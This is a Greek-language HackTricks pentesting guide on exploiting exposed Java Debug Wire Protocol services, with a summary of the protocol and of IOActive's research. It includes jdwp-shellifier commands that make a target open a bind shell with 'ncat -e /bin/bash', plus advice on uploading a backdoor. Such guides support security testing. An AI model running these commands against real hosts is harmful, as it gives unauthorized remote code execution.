hacktricks/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md

87 lines
9.8 KiB
Markdown
Raw Normal View History

2024-02-10 22:40:18 +00:00
# Ελέγχος ασφάλειας JDWP - Πρωτόκολλο Αποσφαλμάτωσης Καλωδίου Java
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 22:40:18 +00:00
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 22:40:18 +00:00
Άλλοι τρόποι υποστήριξης του HackTricks:
2024-01-03 10:42:55 +00:00
2024-02-10 22:40:18 +00:00
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 22:40:18 +00:00
## Εκμετάλλευση
2024-02-10 22:40:18 +00:00
Η εκμετάλλευση του JDWP βασίζεται στην **έλλειψη πιστοποίησης και κρυπτογράφησης του πρωτοκόλλου**. Συνήθως βρίσκεται στη **θύρα 8000**, αλλά είναι δυνατή η χρήση και άλλων θυρών. Η αρχική σύνδεση γίνεται αποστέλλοντας ένα "JDWP-Handshake" στη θύρα προορισμού. Εάν ένα JDWP service είναι ενεργό, απαντά με τον ίδιο συμβολοσειριακό χαρακτήρα, επιβεβαιώνοντας την παρουσία του. Αυτή η αναγνώριση λειτουργεί ως μέθοδος αποτύπωσης για την εντοπισμό των υπηρεσιών JDWP στο δίκτυο.
2024-02-10 22:40:18 +00:00
Όσον αφορά τον εντοπισμό διεργασιών, η αναζήτηση της συμβολοσειράς "jdwk" σε διεργασίες Java μπορεί να υποδείξει μια ενεργή συνεδρία JDWP.
2024-02-10 22:40:18 +00:00
Το εργαλείο που χρησιμοποιείται είναι το [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Μπορείτε να το χρησιμοποιήσετε με διάφορες παραμέτρους:
```bash
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
```
2024-02-10 22:40:18 +00:00
Ανακάλυψα ότι η χρήση της επιλογής `--break-on 'java.lang.String.indexOf'` καθιστά την εκμετάλλευση πιο **σταθερή**. Και αν έχετε τη δυνατότητα να ανεβάσετε ένα backdoor στον κεντρικό υπολογιστή και να το εκτελέσετε αντί να εκτελέσετε μια εντολή, η εκμετάλλευση θα είναι ακόμα πιο σταθερή.
2024-02-10 22:40:18 +00:00
## Περισσότερες λεπτομέρειες
2024-02-10 22:40:18 +00:00
**Αυτό είναι ένα σύνοψη του [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Ελέγξτε το για περαιτέρω λεπτομέρειες.
2024-02-10 22:40:18 +00:00
1. **Επισκόπηση JDWP**:
- Είναι ένα πρωτόκολλο δικτύου βασισμένο σε πακέτα, κυρίως συγχρονισμένο.
- Δεν διαθέτει πιστοποίηση και κρυπτογράφηση, καθιστώντας το ευάλωτο όταν εκτίθεται σε εχθρικά δίκτυα.
2024-02-10 22:40:18 +00:00
2. **Χειραψία JDWP**:
- Χρησιμοποιείται ένα απλό διαδικαστικό χειραψίας για την έναρξη της επικοινωνίας. Ανταλλάσσεται μια συμβολοσειρά ASCII 14 χαρακτήρων "JDWP-Handshake" μεταξύ του Debugger (πελάτη) και του Debuggee (διακομιστή).
2024-02-10 22:40:18 +00:00
3. **Επικοινωνία JDWP**:
- Τα μηνύματα έχουν μια απλή δομή με πεδία όπως Μήκος, Αναγνωριστικό, Σημαία και ΣύνολοΕντολών.
- Οι τιμές του ΣυνόλουΕντολών κυμαίνονται από 0x40 έως 0x80, αντιπροσωπεύοντας διάφορες ενέργειες και γεγονότα.
2024-02-10 22:40:18 +00:00
4. **Εκμετάλλευση**:
- Το JDWP επιτρέπει τη φόρτωση και την κλήση αυθαίρετων κλάσεων και bytecode, δημιουργώντας κινδύνους για την ασφάλεια.
- Το άρθρο περιγράφει μια διαδικασία εκμετάλλευσης σε πέντε βήματα, που περιλαμβάνει την ανάκτηση αναφορών της Java Runtime, την ορισμό σημείων διακοπής και την κλήση μεθόδων.
2024-02-10 22:40:18 +00:00
5. **Εκμετάλλευση στην πραγματική ζωή**:
- Παρά τις πιθανές προστασίες του τείχους προστασίας, οι υπηρεσίες JDWP είναι ανακαλύψιμες και εκμεταλλεύσιμες σε πραγματικά σενάρια, όπως αποδεικνύουν αναζητήσεις σε πλατφόρμες όπως το ShodanHQ και το GitHub.
- Το σενάριο εκμετάλλευσης δοκιμάστηκε σε διάφορες εκδόσεις του JDK και είναι ανεξάρτητο από την πλατφόρμα, προσφέροντας αξιόπιστη εκτέλεση κώδικα απομακρυσμένα (RCE).
2024-02-10 22:40:18 +00:00
6. **Ασφαλείς Επιπτώσεις**:
- Η παρουσία ανοιχτών υπηρεσιών JDWP στο διαδίκτυο υπογραμμίζει την ανάγκη για τακτικές αναθεωρήσεις ασφαλείας, απενεργοποίησης λειτουργιών αποσφαλμάτωσης σε παραγωγή και κατάλληλων ρυθμίσεων τείχους προστασίας.
2024-02-10 22:40:18 +00:00
### **Αναφορές:**
2024-02-04 10:58:49 +00:00
* [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)]
* [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
* [http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html](http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html)
* http://www.secdev.org/projects/scapy(no longer active)
* [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
* http://www.hsc-news.com/archives/2013/000109.html (no longer active)
* [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
* https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults
* [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
* [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 22:40:18 +00:00
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 22:40:18 +00:00
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
2024-01-03 10:42:55 +00:00
2024-02-10 22:40:18 +00:00
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
2022-04-28 16:01:33 +00:00
</details>